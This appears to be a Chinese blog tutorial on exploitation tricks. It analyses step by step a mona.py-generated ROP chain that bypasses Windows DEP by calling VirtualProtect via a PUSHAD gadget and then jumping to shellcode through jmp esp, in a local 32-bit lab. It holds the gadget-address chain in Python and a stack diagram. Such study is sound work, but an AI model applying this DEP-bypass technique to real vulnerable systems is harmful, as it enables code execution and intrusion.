充满技巧的shellcode

纠结了一下到底要叫什么名字,因为这里打算提到 pwn 的时候遇到的各种奇技淫巧(或者说各种很棒的思路),着重想提一下 shellcode 和 ROP。


充满技巧的shellcode

ROP

关于ROP,其实在不同的环境下,有很多的构造方法,当然使用合适的工具也是很重要的一环,比如说linux下的ROPGadget,windows下的mona都是很好的选择

Windows 绕过 DEP

实验条件

  • 32bit PE 文件
  • 没有打开SafeSEHGS
  • 本地演示,假设知道各个module加载时候的地址

目标

弹出计算器

思路

一个典型的栈溢出,DEP导致我们不能跳转到栈上,这种情况下windows下常见思路有两种

  • WinExec执行calc.exe
  • 将栈这段地址修改为可执行,然后jmp esp

这里针对第二种讨论。
给出一个之前看到的很棒的思路(用python生成ROP):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x6add435d, # POP EBP # RETN [MSVCR110.dll]
0x6add435d, # skip 4 bytes [MSVCR110.dll]
0x77933b03, # POP EBX # RETN [ntdll.dll]
0x00000201, # 0x00000201-> ebx
0x6ad925fb, # POP EDX # RETN [MSVCR110.dll]
0x00000040, # 0x00000040-> edx
0x7797c0e4, # POP ECX # RETN [ntdll.dll]
0x74c502d6, # &Writable location [KERNEL32.DLL]
0x6ad696ed, # POP EDI # RETN [MSVCR110.dll]
0x6adb4486, # RETN (ROP NOP) [MSVCR110.dll]
0x6adb53f6, # POP ESI # RETN [MSVCR110.dll]
0x75d84498, # JMP [EAX] [KERNELBASE.dll]
0x6ad978b7, # POP EAX # RETN [MSVCR110.dll]
0x74c21230, # ptr to &VirtualProtect() [IAT KERNEL32.DLL]
0x6adf0267, # PUSHAD # RETN [MSVCR110.dll]
0x75de2406, # ptr to 'jmp esp' [KERNELBASE.dll]
]
return b''.join(struct.pack('<I', _) for _ in rop_gadgets)

这个写法真的很巧妙。我们来一步步分析它的行为

首先我们已知当前是栈溢出,那么我们的目标有两个

  • 调用VirtualProtect
  • 跳转到可执行的位置上执行shellcode

关于VirtualProtect,这里给出函数原型

1
2
3
4
5
6
VirtualProtect(
lPAddress, // 需要修改权限的地址
dwSize, // 修改的地址大小
NewProtect (0x40),// 修改成的权限 0x40为可执行
lpOldProtect (ptr to W address) // 一个指针,其中记录了之前的权限
)

通过这个函数,我们能够修改栈的权限。观察函数的参数,发现其中有两个变量的数据是固定的,另外两个则是要根据运行时的程序确定,此时我想到的问题就是:

  • 如最大确定当前的shellcode的位置?或者说,如何将esp的值传入到栈中?
    关于lpOldProtect参数,我们可以直接找一个固定的可写的地址即可,dll中这类地址很多

我构想过如下思路:

  • 利用mov reg32, esp; ret --> push reg32; ret;如何?

但是直接这么用的话不能保证传参是连续的,因为有过一次ret之后,说明下一个地址也是存在栈中的,会卡住后面的参数传参

可以看到,如果这样处理的话,虽然我们可以传入一个当前的esp,但是不能保证之后的参数能够按照我们的想法赋值,所以这个思路不同

  • 利用push esp; pop ebp; ret --> xchg eax, ebp; ret

这个思路倒是可以,不过这样的话同样需要满足参数在栈中相邻这个要求,这样就比较复杂。

pusha

pusha可以说是神器一号,pusha这个指令会将所有的寄存器保存在栈中,包括esp(为调用pusha之前的esp的值),如果说我们首先将需要传递的参数按照pusha的推入顺序放在指定的寄存器中,那么调用pusha的时候,所有的参数都将会是相邻的

pusha

1
2
3
4
5
6
7
8
push eax;
push ecx;
push edx;
push ebx;
push esp;
push ebp;
push esi;
push edi;

以下这几步做的就是将VirtualProtect的参数传入的操作。

1
2
3
4
5
6
0x77933b03,  # POP EBX # RETN [ntdll.dll] 
0x00000201, # 0x00000201-> ebx
0x6ad925fb, # POP EDX # RETN [MSVCR110.dll]
0x00000040, # 0x00000040-> edx
0x7797c0e4, # POP ECX # RETN [ntdll.dll]
0x74c502d6, # &Writable location [KERNEL32.DLL]

(漏了lPAddress?回想一下栈中的位置以及pusha传入的参数)
我们假设我们已经调用了pusha,那么我们可以想象到,第二个问题就是

  • 如何去调用VirtualProtect呢?


(纠错:此时 esp 指向的是 edi 的位置)
(有点违和?想一想pusha的时候,栈中本来的gadget是不是被各个寄存器给覆盖掉了?)
上图是按照给出的shellcode重现的情况(部分未分析的地方没有提到)。由图可知,我们根本没有办法调用到那个VirtualProtect!所以我们不能直接的把函数地址填写到栈上,我们可以采取一种稍微绕弯的gadget

1
2
mov eax, &VirtualProtect;
jmp [eax]

按照上面的写法,我们可以算是调用了VirtualProtect函数,而且最关键的是,这样处理的时候函数调用的时候不需要紧密联系栈,此时只需要关心栈中的数据就可以了。于是我们为了满足栈中的处理,可以使用下面的gadget

1
2
3
4
5
6
0x6ad696ed,  # POP EDI # RETN [MSVCR110.dll] 
0x6adb4486, # RETN (ROP NOP) [MSVCR110.dll]
0x6adb53f6, # POP ESI # RETN [MSVCR110.dll]
0x75d84498, # JMP [EAX] [KERNELBASE.dll]
0x6ad978b7, # POP EAX # RETN [MSVCR110.dll]
0x74c21230, # ptr to &VirtualProtect() [IAT KERNEL32.DLL]

加入了这些数据之后我们可以看栈现在的情况

此时的esp正好指向一个距离参数为esp + 0x8的位置,并且发生了函数调用,完全就是模拟了call VirtualProtect。太棒了,这样我们就能够调用VirtualProtect函数了!
(如果将寄存器倒过来放,强行构成一个函数调用栈?看后面提到的VirtualProtect的特性)

  • 但是调用结束之后呢?我们有一个gadget的位置,要用这个来调整 esp 吗?

VirtualProtect返回的ret和普通的函数返回不太一样,返回为

1
ret 0x10

这个指令的意思是将返回地址交还给eip之后,esp += 0x10
这样的话上图中的esp正好就会落在eax的位置上,并且此时的eip的值为&VirtualProtect,也就是说最后一个寄存器EBP的值可以开始调用了:

1
2
0x6add435d,  # POP EBP # RETN [MSVCR110.dll] 
0x6add435d, # skip 4 bytes [MSVCR110.dll]

通过pop ret,让esp正好落在了jmp esp上,实现了shellcode的调用

附上当初为了思考的时候画的结构图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
stack bottom
+-------------------------+
| ptr to jmp esp |
+-------------------------+
| ptr PUSHAD |
+-------------------------+ <----- pushad 开始前 esp
| eax ptr VirtualProtect | 之前为 PUSHAD
+-------------------------+
| ecx &Writeable location |
+-------------------------+
| edx NewProtect |
+-------------------------+
| ebx dwSize |
+-------------------------+ esp移动方向,正好与pushad相反
| esp lPAddress | ^
+-------------------------+ |
| ebp pop ebp and return | |
+-------------------------+ |
| esi jmp [eax] | |
+-------------------------+ |
| edi retn(just like nop) | |
stack top +-------------------------+ <----- pushad 结束后 esp